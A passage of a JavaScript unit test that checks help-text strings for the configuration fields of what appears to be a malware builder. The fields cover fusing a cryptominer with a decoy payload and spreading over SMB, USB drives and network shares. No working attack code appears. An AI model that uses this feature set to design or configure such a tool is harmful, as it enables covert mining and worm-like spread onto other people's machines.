expect(FIELD_HELP.fusion_enabled).toContain('Fuse the miner');
expect(FIELD_HELP.fusion_prep).toContain('decoy');
expect(FIELD_HELP.fusion_run_order).toContain('Parallel');
});
it('advanced spread entries describe lateral/USB/share behavior', () => {
expect(FIELD_HELP.auto_spread).toContain('SMB');
expect(FIELD_HELP.usb_spread).toContain('USB');
expect(FIELD_HELP.share_spread).toContain('share');
});
});